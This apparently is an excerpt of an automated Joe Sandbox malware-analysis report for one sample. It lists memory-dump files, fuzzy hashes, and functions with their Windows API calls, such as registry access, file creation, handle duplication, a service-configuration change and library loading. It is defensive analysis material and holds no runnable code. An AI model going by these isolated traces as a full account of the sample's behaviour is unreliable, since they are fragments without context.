Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 1a8ccdf0ccc0df79252acea19b0590b9926b7314042d66b02b5741168bf2ef45
Instruction ID: 4236bfa46ea2c791c383483be798d3c06fd9ba76ec3231f58cf8155e1430906a
Opcode Fuzzy Hash: 1a8ccdf0ccc0df79252acea19b0590b9926b7314042d66b02b5741168bf2ef45
Instruction Fuzzy Hash: 2CE02B311149899ECF1A9FACAA0179D370EDF84705F504124FF199AF45CB3D1D11C795

Function 00B71DB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(00826E7C,-11935FEC), ref: 00B71E31
GetFileAttributesA.KERNEL32(00000000,-11935FEC), ref: 00B71E3F

Strings

@, xrefs: 00B71DE4

Memory Dump Source

Source File: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: AttributesFile
String ID: @
API String ID: 3188754299-2726393805
Opcode ID: f56b8d10187c343dfb2180111fdbb9f74d94cc49396dc9f2e0d03eff0f523ee5
Instruction ID: 5ad3f22ee1151c38e3c706be3cbc1f185c84900176679b13bcdd1fafe53f75b6
Opcode Fuzzy Hash: f56b8d10187c343dfb2180111fdbb9f74d94cc49396dc9f2e0d03eff0f523ee5
Instruction Fuzzy Hash: 28018131A04204FAEB22DF6CC84A7AD7EF1AF40344F20C4E5E81A65091D7B49E90FBA4

Function 00B2751C Relevance: 4.6, APIs: 3, Instructions: 73
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00B27E11
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00B27E38
GetNativeSystemInfo.KERNELBASE(?), ref: 00B27E8F

Memory Dump Source

Source File: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 6508de3f3c0e2205013788b4beb0883456fbb70fcd68a4dcf7a76a053e20ace6
Instruction ID: 04bc52e0dc9dfe38d98ad7814af5aa3f919bccd45fe2a65868fa3fab56e0688d
Opcode Fuzzy Hash: 6508de3f3c0e2205013788b4beb0883456fbb70fcd68a4dcf7a76a053e20ace6
Instruction Fuzzy Hash: 06310DB550826E9EEF11DF50D848BEF37E8EF09304F100466E94686940D7B68CA4CFAD

Function 00B71FD4 Relevance: 3.1, APIs: 2, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00826E7C,?,-11935FEC,?,?,?,?,-11935FEC), ref: 00B72086

Part of subcall function 00B71F86: IsBadWritePtr.KERNEL32(?,00000004), ref: 00B71F94

CreateFileA.KERNEL32(?,?,-11935FEC,?,?,?,?,-11935FEC), ref: 00B720A6

Memory Dump Source

Source File: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateFile$Write
String ID:
API String ID: 1125675974-0
Opcode ID: efeadabcc1cae362085ac1ee592889334e34eb2aaffc8ba3887dfe9007f324d6
Instruction ID: fbe833c43ed2972aa78533012478da7b9bae07ff853bf8c5d47d04763fbae916
Opcode Fuzzy Hash: efeadabcc1cae362085ac1ee592889334e34eb2aaffc8ba3887dfe9007f324d6
Instruction Fuzzy Hash: 02111C3150524AFFDF229FA4CD45BAD3EB2BF04344F108095F92A540A0C3768AB1EBA1

Function 00B71940 Relevance: 3.0, APIs: 2, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(-11935FEC), ref: 00B7194D
DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00B719B3

Memory Dump Source

Source File: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CurrentDuplicateHandleProcess
String ID:
API String ID: 1009649615-0
Opcode ID: 17e82aff3d37bf6e8db205dc58da3db73cfb149bfbd3af541e925aa4a9263b2a
Instruction ID: c6d793ef134d1c6aaee271ce3272d12bec9547c9bd0a3b923cfd16ecdbee3886
Opcode Fuzzy Hash: 17e82aff3d37bf6e8db205dc58da3db73cfb149bfbd3af541e925aa4a9263b2a
Instruction Fuzzy Hash: AF016D7260014AFB8F22AFACDC49DAE3BB6FF983507008655FA1A90450C736C063EB31

Function 049A15C4 Relevance: 1.8, APIs: 1, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 049A18C8

Memory Dump Source

Source File: 00000006.00000002.2564298780.00000000049A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49a0000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 71dcd5e102532ac29fd5bf8dd435c7cb565ff669fb975145f0ed9dc0359bf844
Instruction ID: 999f63b77f7dfefef536c0b41a053273c2d453e5d89261a044e8026e26eb1bbb
Opcode Fuzzy Hash: 71dcd5e102532ac29fd5bf8dd435c7cb565ff669fb975145f0ed9dc0359bf844
Instruction Fuzzy Hash: 28C16A70D002599FDB10CFA8C8467AEBBF6FF89314F048539E855E7284D774A9A1CB82

Function 00B17A2F Relevance: 1.6, APIs: 1, Instructions: 98
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00B17A2F

Memory Dump Source

Source File: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
